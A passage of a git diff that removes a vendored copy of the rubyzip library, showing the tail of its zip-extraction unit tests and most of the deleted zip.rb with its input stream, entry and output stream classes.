assert(File.exists?(EXTRACTED_FILENAME)) - AssertEntry::assert_contents(EXTRACTED_FILENAME, - zf.get_input_stream(ENTRY_TO_EXTRACT) { |is| is.read }) - - - File::unlink(EXTRACTED_FILENAME) - - entry = zf.get_entry(ENTRY_TO_EXTRACT) - entry.extract(EXTRACTED_FILENAME) - - assert(File.exists?(EXTRACTED_FILENAME)) - AssertEntry::assert_contents(EXTRACTED_FILENAME, - entry.get_input_stream() { |is| is.read }) - - } - end - - def test_extractExists - writtenText = "written text" - File.open(EXTRACTED_FILENAME, "w") { |f| f.write(writtenText) } - - assert_raise(ZipDestinationFileExistsError) { - ZipFile.open(TEST_ZIP.zip_name) { - |zf| - zf.extract(zf.entries.first, EXTRACTED_FILENAME) - } - } - File.open(EXTRACTED_FILENAME, "r") { - |f| - assert_equal(writtenText, f.read) - } - end - - def test_extractExistsOverwrite - writtenText = "written text" - File.open(EXTRACTED_FILENAME, "w") { |f| f.write(writtenText) } - - gotCalledCorrectly = false - ZipFile.open(TEST_ZIP.zip_name) { - |zf| - zf.extract(zf.entries.first, EXTRACTED_FILENAME) { - |entry, extractLoc| - gotCalledCorrectly = zf.entries.first == entry && - extractLoc == EXTRACTED_FILENAME - true - } - } - - assert(gotCalledCorrectly) - File.open(EXTRACTED_FILENAME, "r") { - |f| - assert(writtenText != f.read) - } - end - - def test_extractNonEntry - zf = ZipFile.new(TEST_ZIP.zip_name) - assert_raise(Errno::ENOENT) { zf.extract("nonExistingEntry", "nonExistingEntry") } - ensure - zf.close if zf - end - - def test_extractNonEntry2 - outFile = "outfile" - assert_raise(Errno::ENOENT) { - zf = ZipFile.new(TEST_ZIP.zip_name) - nonEntry = "hotdog-diddelidoo" - assert(! zf.entries.include?(nonEntry)) - zf.extract(nonEntry, outFile) - zf.close - } - assert(! File.exists?(outFile)) - end - -end - -class ZipFileExtractDirectoryTest < Test::Unit::TestCase - include CommonZipFileFixture - TEST_OUT_NAME = "emptyOutDir" - - def open_zip(&aProc) - assert(aProc != nil) - ZipFile.open(TestZipFile::TEST_ZIP4.zip_name, &aProc) - end - - def extract_test_dir(&aProc) - open_zip { - |zf| - zf.extract(TestFiles::EMPTY_TEST_DIR, TEST_OUT_NAME, &aProc) - } - end - - def setup - super - - Dir.rmdir(TEST_OUT_NAME) if File.directory? TEST_OUT_NAME - File.delete(TEST_OUT_NAME) if File.exists? TEST_OUT_NAME - end - - def test_extractDirectory - extract_test_dir - assert(File.directory?(TEST_OUT_NAME)) - end - - def test_extractDirectoryExistsAsDir - Dir.mkdir TEST_OUT_NAME - extract_test_dir - assert(File.directory?(TEST_OUT_NAME)) - end - - def test_extractDirectoryExistsAsFile - File.open(TEST_OUT_NAME, "w") { |f| f.puts "something" } - assert_raise(ZipDestinationFileExistsError) { extract_test_dir } - end - - def test_extractDirectoryExistsAsFileOverwrite - File.open(TEST_OUT_NAME, "w") { |f| f.puts "something" } - gotCalled = false - extract_test_dir { - |entry, destPath| - gotCalled = true - assert_equal(TEST_OUT_NAME, destPath) - assert(entry.is_directory) - true - } - assert(gotCalled) - assert(File.directory?(TEST_OUT_NAME)) - end -end - -class ZipExtraFieldTest < Test::Unit::TestCase - def test_new - extra_pure = ZipExtraField.new("") - extra_withstr = ZipExtraField.new("foo") - assert_instance_of(ZipExtraField, extra_pure) - assert_instance_of(ZipExtraField, extra_withstr) - end - - def test_unknownfield - extra = ZipExtraField.new("foo") - assert_equal(extra["Unknown"], "foo") - extra.merge("a") - assert_equal(extra["Unknown"], "fooa") - extra.merge("barbaz") - assert_equal(extra.to_s, "fooabarbaz") - end - - - def test_merge - str = "UT\x5\0\x3\250$\r@Ux\0\0" - extra1 = ZipExtraField.new("") - extra2 = ZipExtraField.new(str) - assert(! extra1.member?("UniversalTime")) - assert(extra2.member?("UniversalTime")) - extra1.merge(str) - assert_equal(extra1["UniversalTime"].mtime, extra2["UniversalTime"].mtime) - end - - def test_length - str = "UT\x5\0\x3\250$\r@Ux\0\0Te\0\0testit" - extra = ZipExtraField.new(str) - assert_equal(extra.local_length, extra.to_local_bin.length) - assert_equal(extra.c_dir_length, extra.to_c_dir_bin.length) - extra.merge("foo") - assert_equal(extra.local_length, extra.to_local_bin.length) - assert_equal(extra.c_dir_length, extra.to_c_dir_bin.length) - end - - - def test_to_s - str = "UT\x5\0\x3\250$\r@Ux\0\0Te\0\0testit" - extra = ZipExtraField.new(str) - assert_instance_of(String, extra.to_s) - - s = extra.to_s - extra.merge("foo") - assert_equal(s.length + 3, extra.to_s.length) - end - - def test_equality - str = "UT\x5\0\x3\250$\r@" - extra1 = ZipExtraField.new(str) - extra2 = ZipExtraField.new(str) - extra3 = ZipExtraField.new(str) - assert_equal(extra1, extra2) - - extra2["UniversalTime"].mtime = Time.now - assert(extra1 != extra2) - - extra3.create("IUnix") - assert(extra1 != extra3) - - extra1.create("IUnix") - assert_equal(extra1, extra3) - end - -end - -# Copyright (C) 2002-2005 Thomas Sondergaard -# rubyzip is free software; you can redistribute it and/or -# modify it under the terms of the ruby license. diff --git a/lib/zip/zip.rb b/lib/zip/zip.rb deleted file mode 100644 index e5d150de96..0000000000 --- a/lib/zip/zip.rb +++ /dev/null @@ -1,1900 +0,0 @@ -# encoding: ASCII-8BIT -require 'delegate' - -begin - require 'iconv' -rescue ::LoadError -end - -require 'singleton' -require 'tempfile' -require 'fileutils' -require 'stringio' -require 'zlib' -require 'zip/stdrubyext' -require 'zip/ioextras' - -if Tempfile.superclass == SimpleDelegator - require 'zip/tempfile_bugfixed' - Tempfile = BugFix::Tempfile -end - -module Zlib #:nodoc:all - if ! const_defined? :MAX_WBITS - MAX_WBITS = Zlib::Deflate.MAX_WBITS - end -end - -module Zip - - VERSION = '0.9.4' - - RUBY_MINOR_VERSION = RUBY_VERSION.split(".")[1].to_i - - RUNNING_ON_WINDOWS = /mswin32|cygwin|mingw|bccwin/ =~ RUBY_PLATFORM - - # Ruby 1.7.x compatibility - # In ruby 1.6.x and 1.8.0 reading from an empty stream returns - # an empty string the first time and then nil. - # not so in 1.7.x - EMPTY_FILE_RETURNS_EMPTY_STRING_FIRST = RUBY_MINOR_VERSION != 7 - - # ZipInputStream is the basic class for reading zip entries in a - # zip file. It is possible to create a ZipInputStream object directly, - # passing the zip file name to the constructor, but more often than not - # the ZipInputStream will be obtained from a ZipFile (perhaps using the - # ZipFileSystem interface) object for a particular entry in the zip - # archive. - # - # A ZipInputStream inherits IOExtras::AbstractInputStream in order - # to provide an IO-like interface for reading from a single zip - # entry. Beyond methods for mimicking an IO-object it contains - # the method get_next_entry for iterating through the entries of - # an archive. get_next_entry returns a ZipEntry object that describes - # the zip entry the ZipInputStream is currently reading from. - # - # Example that creates a zip archive with ZipOutputStream and reads it - # back again with a ZipInputStream. - # - # require 'zip/zip' - # - # Zip::ZipOutputStream::open("my.zip") { - # |io| - # - # io.put_next_entry("first_entry.txt") - # io.write "Hello world!" - # - # io.put_next_entry("adir/first_entry.txt") - # io.write "Hello again!" - # } - # - # - # Zip::ZipInputStream::open("my.zip") { - # |io| - # - # while (entry = io.get_next_entry) - # puts "Contents of #{entry.name}: '#{io.read}'" - # end - # } - # - # java.util.zip.ZipInputStream is the original inspiration for this - # class. - - class ZipInputStream - include IOExtras::AbstractInputStream - - # Opens the indicated zip file. An exception is thrown - # if the specified offset in the specified filename is - # not a local zip entry header. - def initialize(filename, offset = 0) - super() - @archiveIO = File.open(filename, "rb") - @archiveIO.seek(offset, IO::SEEK_SET) - @decompressor = NullDecompressor.instance - @currentEntry = nil - end - - def close - @archiveIO.close - end - - # Same as #initialize but if a block is passed the opened - # stream is passed to the block and closed when the block - # returns. - def ZipInputStream.open(filename) - return new(filename) unless block_given? - - zio = new(filename) - yield zio - ensure - zio.close if zio - end - - # Returns a ZipEntry object. It is necessary to call this - # method on a newly created ZipInputStream before reading from - # the first entry in the archive. Returns nil when there are - # no more entries. - - def get_next_entry - @archiveIO.seek(@currentEntry.next_header_offset, - IO::SEEK_SET) if @currentEntry - open_entry - end - - # Rewinds the stream to the beginning of the current entry - def rewind - return if @currentEntry.nil? - @lineno = 0 - @archiveIO.seek(@currentEntry.localHeaderOffset, - IO::SEEK_SET) - open_entry - end - - # Modeled after IO.sysread - def sysread(numberOfBytes = nil, buf = nil) - @decompressor.sysread(numberOfBytes, buf) - end - - def eof - @outputBuffer.empty? && @decompressor.eof - end - alias :eof? :eof - - protected - - def open_entry - @currentEntry = ZipEntry.read_local_entry(@archiveIO) - if (@currentEntry == nil) - @decompressor = NullDecompressor.instance - elsif @currentEntry.compression_method == ZipEntry::STORED - @decompressor = PassThruDecompressor.new(@archiveIO, @currentEntry.size) - elsif @currentEntry.compression_method == ZipEntry::DEFLATED - @decompressor = Inflater.new(@archiveIO) - else - raise ZipCompressionMethodError, "Unsupported compression method #{@currentEntry.compression_method}" - end - flush - return @currentEntry - end - - def produce_input - @decompressor.produce_input - end - - def input_finished? - @decompressor.input_finished? - end - end - - - - class Decompressor #:nodoc:all - CHUNK_SIZE=32768 - def initialize(inputStream) - super() - @inputStream=inputStream - end - end - - class Inflater < Decompressor #:nodoc:all - def initialize(inputStream) - super - @zlibInflater = Zlib::Inflate.new(-Zlib::MAX_WBITS) - @outputBuffer="" - @hasReturnedEmptyString = ! EMPTY_FILE_RETURNS_EMPTY_STRING_FIRST - end - - def sysread(numberOfBytes = nil, buf = nil) - readEverything = (numberOfBytes == nil) - while (readEverything || @outputBuffer.length < numberOfBytes) - break if internal_input_finished? - @outputBuffer << internal_produce_input(buf) - end - return value_when_finished if @outputBuffer.length==0 && input_finished? - endIndex= numberOfBytes==nil ? @outputBuffer.length : numberOfBytes - return @outputBuffer.slice!(0...endIndex) - end - - def produce_input - if (@outputBuffer.empty?) - return internal_produce_input - else - return @outputBuffer.slice!(0...(@outputBuffer.length)) - end - end - - # to be used with produce_input, not read (as read may still have more data cached) - # is data cached anywhere other than @outputBuffer? the comment above may be wrong - def input_finished? - @outputBuffer.empty? && internal_input_finished? - end - alias :eof :input_finished? - alias :eof? :input_finished? - - private - - def internal_produce_input(buf = nil) - retried = 0 - begin - @zlibInflater.inflate(@inputStream.read(Decompressor::CHUNK_SIZE, buf)) - rescue Zlib::BufError - raise if (retried >= 5) # how many times should we retry? - retried += 1 - retry - end - end - - def internal_input_finished? - @zlibInflater.finished? - end - - # TODO: Specialize to handle different behaviour in ruby > 1.7.0 ? - def value_when_finished # mimic behaviour of ruby File object. - return nil if @hasReturnedEmptyString - @hasReturnedEmptyString=true - return "" - end - end - - class PassThruDecompressor < Decompressor #:nodoc:all - def initialize(inputStream, charsToRead) - super inputStream - @charsToRead = charsToRead - @readSoFar = 0 - @hasReturnedEmptyString = ! EMPTY_FILE_RETURNS_EMPTY_STRING_FIRST - end - - # TODO: Specialize to handle different behaviour in ruby > 1.7.0 ? - def sysread(numberOfBytes = nil, buf = nil) - if input_finished? - hasReturnedEmptyStringVal=@hasReturnedEmptyString - @hasReturnedEmptyString=true - return "" unless hasReturnedEmptyStringVal - return nil - end - - if (numberOfBytes == nil || @readSoFar+numberOfBytes > @charsToRead) - numberOfBytes = @charsToRead-@readSoFar - end - @readSoFar += numberOfBytes - @inputStream.read(numberOfBytes, buf) - end - - def produce_input - sysread(Decompressor::CHUNK_SIZE) - end - - def input_finished? - (@readSoFar >= @charsToRead) - end - alias :eof :input_finished? - alias :eof? :input_finished? - end - - class NullDecompressor #:nodoc:all - include Singleton - def sysread(numberOfBytes = nil, buf = nil) - nil - end - - def produce_input - nil - end - - def input_finished? - true - end - - def eof - true - end - alias :eof? :eof - end - - class NullInputStream < NullDecompressor #:nodoc:all - include IOExtras::AbstractInputStream - end - - class ZipEntry - STORED = 0 - DEFLATED = 8 - - FSTYPE_FAT = 0 - FSTYPE_AMIGA = 1 - FSTYPE_VMS = 2 - FSTYPE_UNIX = 3 - FSTYPE_VM_CMS = 4 - FSTYPE_ATARI = 5 - FSTYPE_HPFS = 6 - FSTYPE_MAC = 7 - FSTYPE_Z_SYSTEM = 8 - FSTYPE_CPM = 9 - FSTYPE_TOPS20 = 10 - FSTYPE_NTFS = 11 - FSTYPE_QDOS = 12 - FSTYPE_ACORN = 13 - FSTYPE_VFAT = 14 - FSTYPE_MVS = 15 - FSTYPE_BEOS = 16 - FSTYPE_TANDEM = 17 - FSTYPE_THEOS = 18 - FSTYPE_MAC_OSX = 19 - FSTYPE_ATHEOS = 30 - - FSTYPES = { - FSTYPE_FAT => 'FAT'.freeze, - FSTYPE_AMIGA => 'Amiga'.freeze, - FSTYPE_VMS => 'VMS (Vax or Alpha AXP)'.freeze, - FSTYPE_UNIX => 'Unix'.freeze, - FSTYPE_VM_CMS => 'VM/CMS'.freeze, - FSTYPE_ATARI => 'Atari ST'.freeze, - FSTYPE_HPFS => 'OS/2 or NT HPFS'.freeze, - FSTYPE_MAC => 'Macintosh'.freeze, - FSTYPE_Z_SYSTEM => 'Z-System'.freeze, - FSTYPE_CPM => 'CP/M'.freeze, - FSTYPE_TOPS20 => 'TOPS-20'.freeze, - FSTYPE_NTFS => 'NTFS'.freeze, - FSTYPE_QDOS => 'SMS/QDOS'.freeze, - FSTYPE_ACORN => 'Acorn RISC OS'.freeze, - FSTYPE_VFAT => 'Win32 VFAT'.freeze, - FSTYPE_MVS => 'MVS'.freeze, - FSTYPE_BEOS => 'BeOS'.freeze, - FSTYPE_TANDEM => 'Tandem NSK'.freeze, - FSTYPE_THEOS => 'Theos'.freeze, - FSTYPE_MAC_OSX => 'Mac OS/X (Darwin)'.freeze, - FSTYPE_ATHEOS => 'AtheOS'.freeze, - }.freeze - - attr_accessor :comment, :compressed_size, :crc, :extra, :compression_method, - :name, :size, :localHeaderOffset, :zipfile, :fstype, :externalFileAttributes, :gp_flags, :header_signature - - attr_accessor :follow_symlinks - attr_accessor :restore_times, :restore_permissions, :restore_ownership - attr_accessor :unix_uid, :unix_gid, :unix_perms - - attr_reader :ftype, :filepath # :nodoc: - - # Returns the character encoding used for name and comment - def name_encoding - (@gp_flags & 0b100000000000) != 0 ? "utf8" : "CP437//" - end - - - # Converts string encoding - def encode_string(str, src, dst) - if str.respond_to?(:encode) - str.encode(dst, { :invalid => :replace, :undef => :replace, :replace => '' }) - else - begin - Iconv.conv(dst, src, str) - rescue - raise ::RuntimeError, "Your installation does not support iconv (needed for utf8 conversion)" - end - end - end - - # Returns the name in the encoding specified by enc - def name_in(enc) - encode_string(@name, name_encoding, enc) - end - - # Returns the comment in the encoding specified by enc - def comment_in(enc) - encode_string(@comment, name_encoding, enc) - end - - def initialize(zipfile = "", name = "", comment = "", extra = "", - compressed_size = 0, crc = 0, - compression_method = ZipEntry::DEFLATED, size = 0, - time = Time.now) - super() - if name.starts_with("/") - raise ZipEntryNameError, "Illegal ZipEntry name '#{name}', name must not start with /" - end - @localHeaderOffset = 0 - @local_header_size = 0 - @internalFileAttributes = 1 - @externalFileAttributes = 0 - @version = 52 # this library's version - @ftype = nil # unspecified or unknown - @filepath = nil - if Zip::RUNNING_ON_WINDOWS - @fstype = FSTYPE_FAT - else - @fstype = FSTYPE_UNIX - end - @zipfile = zipfile - @comment = comment - @compressed_size = compressed_size - @crc = crc - @extra = extra - @compression_method = compression_method - @name = name - @size = size - @time = time - - @follow_symlinks = false - - @restore_times = true - @restore_permissions = false - @restore_ownership = false - -# BUG: need an extra field to support uid/gid's - @unix_uid = nil - @unix_gid = nil - @unix_perms = nil -# @posix_acl = nil -# @ntfs_acl = nil - - if name_is_directory? - @ftype = :directory - else - @ftype = :file - end - - unless ZipExtraField === @extra - @extra = ZipExtraField.new(@extra.to_s) - end - end - - def time - if @extra["UniversalTime"] - @extra["UniversalTime"].mtime - else - # Atandard time field in central directory has local time - # under archive creator. Then, we can't get timezone. - @time - end - end - alias :mtime :time - - def time=(aTime) - unless @extra.member?("UniversalTime") - @extra.create("UniversalTime") - end - @extra["UniversalTime"].mtime = aTime - @time = aTime - end - - # Returns +true+ if the entry is a directory. - def directory? - raise ZipInternalError, "current filetype is unknown: #{self.inspect}" unless @ftype - @ftype == :directory - end - alias :is_directory :directory? - - # Returns +true+ if the entry is a file. - def file? - raise ZipInternalError, "current filetype is unknown: #{self.inspect}" unless @ftype - @ftype == :file - end - - # Returns +true+ if the entry is a symlink. - def symlink? - raise ZipInternalError, "current filetype is unknown: #{self.inspect}" unless @ftype - @ftype == :symlink - end - - def name_is_directory? #:nodoc:all - (%r{\/$} =~ @name) != nil - end - - def local_entry_offset #:nodoc:all - localHeaderOffset + @local_header_size - end - - def calculate_local_header_size #:nodoc:all - LOCAL_ENTRY_STATIC_HEADER_LENGTH + (@name ? @name.size : 0) + (@extra ? @extra.local_size : 0) - end - - def cdir_header_size #:nodoc:all - CDIR_ENTRY_STATIC_HEADER_LENGTH + (@name ? @name.size : 0) + - (@extra ? @extra.c_dir_size : 0) + (@comment ? @comment.size : 0) - end - - def next_header_offset #:nodoc:all - local_entry_offset + self.compressed_size - end - - # Extracts entry to file destPath (defaults to @name). - def extract(destPath = @name, &onExistsProc) - onExistsProc ||= proc { false } - - if directory? - create_directory(destPath, &onExistsProc) - elsif file? - write_file(destPath, &onExistsProc) - elsif symlink? - create_symlink(destPath, &onExistsProc) - else - raise RuntimeError, "unknown file type #{self.inspect}" - end - - self - end - - def to_s - @name - end - - protected - - def ZipEntry.read_zip_short(io) # :nodoc: - io.read(2).unpack('v')[0] - end - - def ZipEntry.read_zip_long(io) # :nodoc: - io.read(4).unpack('V')[0] - end - public - - LOCAL_ENTRY_SIGNATURE = 0x04034b50 - LOCAL_ENTRY_STATIC_HEADER_LENGTH = 30 - LOCAL_ENTRY_TRAILING_DESCRIPTOR_LENGTH = 4+4+4 - VERSION_NEEDED_TO_EXTRACT = 10 - - def read_local_entry(io) #:nodoc:all - @localHeaderOffset = io.tell - staticSizedFieldsBuf = io.read(LOCAL_ENTRY_STATIC_HEADER_LENGTH) - unless (staticSizedFieldsBuf.size==LOCAL_ENTRY_STATIC_HEADER_LENGTH) - raise ZipError, "Premature end of file. Not enough data for zip entry local header" - end - - @header_signature , - @version , - @fstype , - @gp_flags , - @compression_method, - lastModTime , - lastModDate , - @crc , - @compressed_size , - @size , - nameLength , - extraLength = staticSizedFieldsBuf.unpack('VCCvvvvVVVvv') - - unless (@header_signature == LOCAL_ENTRY_SIGNATURE) - raise ZipError, "Zip local header magic not found at location '#{localHeaderOffset}'" - end - set_time(lastModDate, lastModTime) - - - @name = io.read(nameLength) - extra = io.read(extraLength) - - if (extra && extra.length != extraLength) - raise ZipError, "Truncated local zip entry header" - else - if ZipExtraField === @extra - @extra.merge(extra) - else - @extra = ZipExtraField.new(extra) - end - end - @local_header_size = calculate_local_header_size - end - - def ZipEntry.read_local_entry(io) - entry = new(io.path) - entry.read_local_entry(io) - return entry - rescue ZipError - return nil - end - - def write_local_entry(io) #:nodoc:all - @localHeaderOffset = io.tell - - io << - [LOCAL_ENTRY_SIGNATURE , - VERSION_NEEDED_TO_EXTRACT , # version needed to extract - 0 , # @gp_flags , - @compression_method , - @time.to_binary_dos_time , # @lastModTime , - @time.to_binary_dos_date , # @lastModDate , - @crc , - @compressed_size , - @size , - @name ? @name.length : 0, - @extra? @extra.local_length : 0 ].pack('VvvvvvVVVvv') - io << @name - io << (@extra ? @extra.to_local_bin : "") - end - - CENTRAL_DIRECTORY_ENTRY_SIGNATURE = 0x02014b50 - CDIR_ENTRY_STATIC_HEADER_LENGTH = 46 - - def read_c_dir_entry(io) #:nodoc:all - staticSizedFieldsBuf = io.read(CDIR_ENTRY_STATIC_HEADER_LENGTH) - unless (staticSizedFieldsBuf.size == CDIR_ENTRY_STATIC_HEADER_LENGTH) - raise ZipError, "Premature end of file. Not enough data for zip cdir entry header" - end - - @header_signature , - @version , # version of encoding software - @fstype , # filesystem type - @versionNeededToExtract, - @gp_flags , - @compression_method , - lastModTime , - lastModDate , - @crc , - @compressed_size , - @size , - nameLength , - extraLength , - commentLength , - diskNumberStart , - @internalFileAttributes, - @externalFileAttributes, - @localHeaderOffset , - @name , - @extra , - @comment = staticSizedFieldsBuf.unpack('VCCvvvvvVVVvvvvvVV') - - unless (@header_signature == CENTRAL_DIRECTORY_ENTRY_SIGNATURE) - raise ZipError, "Zip local header magic not found at location '#{localHeaderOffset}'" - end - set_time(lastModDate, lastModTime) - - @name = io.read(nameLength) - if ZipExtraField === @extra - @extra.merge(io.read(extraLength)) - else - @extra = ZipExtraField.new(io.read(extraLength)) - end - @comment = io.read(commentLength) - unless (@comment && @comment.length == commentLength) - raise ZipError, "Truncated cdir zip entry header" - end - - case @fstype - when FSTYPE_UNIX - @unix_perms = (@externalFileAttributes >> 16) & 07777 - - case (@externalFileAttributes >> 28) - when 04 - @ftype = :directory - when 010 - @ftype = :file - when 012 - @ftype = :symlink - else - raise ZipInternalError, "unknown file type #{'0%o' % (@externalFileAttributes >> 28)}" - end - else - if name_is_directory? - @ftype = :directory - else - @ftype = :file - end - end - @local_header_size = calculate_local_header_size - end - - def ZipEntry.read_c_dir_entry(io) #:nodoc:all - entry = new(io.path) - entry.read_c_dir_entry(io) - return entry - rescue ZipError - return nil - end - - def file_stat(path) # :nodoc: - if @follow_symlinks - return File::stat(path) - else - return File::lstat(path) - end - end - - def get_extra_attributes_from_path(path) # :nodoc: - unless Zip::RUNNING_ON_WINDOWS - stat = file_stat(path) - @unix_uid = stat.uid - @unix_gid = stat.gid - @unix_perms = stat.mode & 07777 - end - end - - def set_extra_attributes_on_path(destPath) # :nodoc: - return unless (file? or directory?) - - case @fstype - when FSTYPE_UNIX - # BUG: does not update timestamps into account - # ignore setuid/setgid bits by default. honor if @restore_ownership - unix_perms_mask = 01777 - unix_perms_mask = 07777 if (@restore_ownership) - FileUtils::chmod(@unix_perms & unix_perms_mask, destPath) if (@restore_permissions && @unix_perms) - FileUtils::chown(@unix_uid, @unix_gid, destPath) if (@restore_ownership && @unix_uid && @unix_gid && Process::egid == 0) - # File::utimes() - end - end - - def write_c_dir_entry(io) #:nodoc:all - case @fstype - when FSTYPE_UNIX - ft = nil - case @ftype - when :file - ft = 010 - @unix_perms ||= 0644 - when :directory - ft = 004 - @unix_perms ||= 0755 - when :symlink - ft = 012 - @unix_perms ||= 0755 - else - raise ZipInternalError, "unknown file type #{self.inspect}" - end - - @externalFileAttributes = (ft << 12 | (@unix_perms & 07777)) << 16 - end - - io << - [CENTRAL_DIRECTORY_ENTRY_SIGNATURE, - @version , # version of encoding software - @fstype , # filesystem type - VERSION_NEEDED_TO_EXTRACT , # @versionNeededToExtract , - 0 , # @gp_flags , - @compression_method , - @time.to_binary_dos_time , # @lastModTime , - @time.to_binary_dos_date , # @lastModDate , - @crc , - @compressed_size , - @size , - @name ? @name.length : 0 , - @extra ? @extra.c_dir_length : 0 , - @comment ? comment.length : 0 , - 0 , # disk number start - @internalFileAttributes , # file type (binary=0, text=1) - @externalFileAttributes , # native filesystem attributes - @localHeaderOffset , - @name , - @extra , - @comment ].pack('VCCvvvvvVVVvvvvvVV') - - io << @name - io << (@extra ? @extra.to_c_dir_bin : "") - io << @comment - end - - def == (other) - return false unless other.class == self.class - # Compares contents of local entry and exposed fields - (@compression_method == other.compression_method && - @crc == other.crc && - @compressed_size == other.compressed_size && - @size == other.size && - @name == other.name && - @extra == other.extra && - @filepath == other.filepath && - self.time.dos_equals(other.time)) - end - - def <=> (other) - return to_s <=> other.to_s - end - - # Returns an IO like object for the given ZipEntry. - # Warning: may behave weird with symlinks. - def get_input_stream(&aProc) - if @ftype == :directory - return yield(NullInputStream.instance) if block_given? - return NullInputStream.instance - elsif @filepath - case @ftype - when :file - return File.open(@filepath, "rb", &aProc) - - when :symlink - linkpath = File::readlink(@filepath) - stringio = StringIO.new(linkpath) - return yield(stringio) if block_given? - return stringio - else - raise "unknown @ftype #{@ftype}" - end - else - zis = ZipInputStream.new(@zipfile, localHeaderOffset) - zis.get_next_entry - if block_given? - begin - return yield(zis) - ensure - zis.close - end - else - return zis - end - end - end - - def gather_fileinfo_from_srcpath(srcPath) # :nodoc: - stat = file_stat(srcPath) - case stat.ftype - when 'file' - if name_is_directory? - raise ArgumentError, - "entry name '#{newEntry}' indicates directory entry, but "+ - "'#{srcPath}' is not a directory" - end - @ftype = :file - when 'directory' - if ! name_is_directory? - @name += "/" - end - @ftype = :directory - when 'link' - if name_is_directory? - raise ArgumentError, - "entry name '#{newEntry}' indicates directory entry, but "+ - "'#{srcPath}' is not a directory" - end - @ftype = :symlink - else - raise RuntimeError, "unknown file type: #{srcPath.inspect} #{stat.inspect}" - end - - @filepath = srcPath - get_extra_attributes_from_path(@filepath) - end - - def write_to_zip_output_stream(aZipOutputStream) #:nodoc:all - if @ftype == :directory - aZipOutputStream.put_next_entry(self) - elsif @filepath - aZipOutputStream.put_next_entry(self) - get_input_stream { |is| IOExtras.copy_stream(aZipOutputStream, is) } - else - aZipOutputStream.copy_raw_entry(self) - end - end - - def parent_as_string - entry_name = name.chomp("/") - slash_index = entry_name.rindex("/") - slash_index ? entry_name.slice(0, slash_index+1) : nil - end - - def get_raw_input_stream(&aProc) - File.open(@zipfile, "rb", &aProc) - end - - private - - def set_time(binaryDosDate, binaryDosTime) - @time = Time.parse_binary_dos_format(binaryDosDate, binaryDosTime) - rescue ArgumentError - puts "Invalid date/time in zip entry" - end - - def write_file(destPath, continueOnExistsProc = proc { false }) - if File.exists?(destPath) && ! yield(self, destPath) - raise ZipDestinationFileExistsError, - "Destination '#{destPath}' already exists" - end - File.open(destPath, "wb") do |os| - get_input_stream do |is| - set_extra_attributes_on_path(destPath) - - buf = '' - while buf = is.sysread(Decompressor::CHUNK_SIZE, buf) - os << buf - end - end - end - end - - def create_directory(destPath) - if File.directory? destPath - return - elsif File.exists? destPath - if block_given? && yield(self, destPath) - FileUtils::rm_f destPath - else - raise ZipDestinationFileExistsError, - "Cannot create directory '#{destPath}'. "+ - "A file already exists with that name" - end - end - Dir.mkdir destPath - set_extra_attributes_on_path(destPath) - end - -# BUG: create_symlink() does not use &onExistsProc - def create_symlink(destPath) - stat = nil - begin - stat = File::lstat(destPath) - rescue Errno::ENOENT - end - - io = get_input_stream - linkto = io.read - - if stat - if stat.symlink? - if File::readlink(destPath) == linkto - return - else - raise ZipDestinationFileExistsError, - "Cannot create symlink '#{destPath}'. "+ - "A symlink already exists with that name" - end - else - raise ZipDestinationFileExistsError, - "Cannot create symlink '#{destPath}'. "+ - "A file already exists with that name" - end - end - - File::symlink(linkto, destPath) - end - end - - - # ZipOutputStream is the basic class for writing zip files. It is - # possible to create a ZipOutputStream object directly, passing - # the zip file name to the constructor, but more often than not - # the ZipOutputStream will be obtained from a ZipFile (perhaps using the - # ZipFileSystem interface) object for a particular entry in the zip - # archive. - # - # A ZipOutputStream inherits IOExtras::AbstractOutputStream in order - # to provide an IO-like interface for writing to a single zip - # entry. Beyond methods for mimicking an IO-object it contains - # the method put_next_entry that closes the current entry - # and creates a new. - # - # Please refer to ZipInputStream for example code. - # - # java.util.zip.ZipOutputStream is the original inspiration for this - # class. - - class ZipOutputStream - include IOExtras::AbstractOutputStream - - attr_accessor :comment - - # Opens the indicated zip file. If a file with that name already - # exists it will be overwritten. - def initialize(fileName) - super() - @fileName = fileName - @outputStream = File.new(@fileName, "wb") - @entrySet = ZipEntrySet.new - @compressor = NullCompressor.instance - @closed = false - @currentEntry = nil - @comment = nil - end - - # Same as #initialize but if a block is passed the opened - # stream is passed to the block and closed when the block - # returns. - def ZipOutputStream.open(fileName) - return new(fileName) unless block_given? - zos = new(fileName) - yield zos - ensure - zos.close if zos - end - - # Closes the stream and writes the central directory to the zip file - def close - return if @closed - finalize_current_entry - update_local_headers - write_central_directory - @outputStream.close - @closed = true - end - - # Closes the current entry and opens a new for writing. - # +entry+ can be a ZipEntry object or a string. - def put_next_entry(entryname, comment = nil, extra = nil, compression_method = ZipEntry::DEFLATED, level = Zlib::DEFAULT_COMPRESSION) - raise ZipError, "zip stream is closed" if @closed - new_entry = ZipEntry.new(@fileName, entryname.to_s) - new_entry.comment = comment if !comment.nil? - if (!extra.nil?) - new_entry.extra = ZipExtraField === extra ? extra : ZipExtraField.new(extra.to_s) - end - new_entry.compression_method = compression_method - init_next_entry(new_entry, level) - @currentEntry = new_entry - end - - def copy_raw_entry(entry) - entry = entry.dup - raise ZipError, "zip stream is closed" if @closed - raise ZipError, "entry is not a ZipEntry" if !entry.kind_of?(ZipEntry) - finalize_current_entry - @entrySet << entry - src_pos = entry.local_entry_offset - entry.write_local_entry(@outputStream) - @compressor = NullCompressor.instance - entry.get_raw_input_stream { - |is| - is.seek(src_pos, IO::SEEK_SET) - IOExtras.copy_stream_n(@outputStream, is, entry.compressed_size) - } - @compressor = NullCompressor.instance - @currentEntry = nil - end - - private - def finalize_current_entry - return unless @currentEntry - finish - @currentEntry.compressed_size = @outputStream.tell - @currentEntry.localHeaderOffset - - @currentEntry.calculate_local_header_size - @currentEntry.size = @compressor.size - @currentEntry.crc = @compressor.crc - @currentEntry = nil - @compressor = NullCompressor.instance - end - - def init_next_entry(entry, level = Zlib::DEFAULT_COMPRESSION) - finalize_current_entry - @entrySet << entry - entry.write_local_entry(@outputStream) - @compressor = get_compressor(entry, level) - end - - def get_compressor(entry, level) - case entry.compression_method - when ZipEntry::DEFLATED then Deflater.new(@outputStream, level) - when ZipEntry::STORED then PassThruCompressor.new(@outputStream) - else raise ZipCompressionMethodError, - "Invalid compression method: '#{entry.compression_method}'" - end - end - - def update_local_headers - pos = @outputStream.tell - @entrySet.each { - |entry| - @outputStream.pos = entry.localHeaderOffset - entry.write_local_entry(@outputStream) - } - @outputStream.pos = pos - end - - def write_central_directory - cdir = ZipCentralDirectory.new(@entrySet, @comment) - cdir.write_to_stream(@outputStream) - end 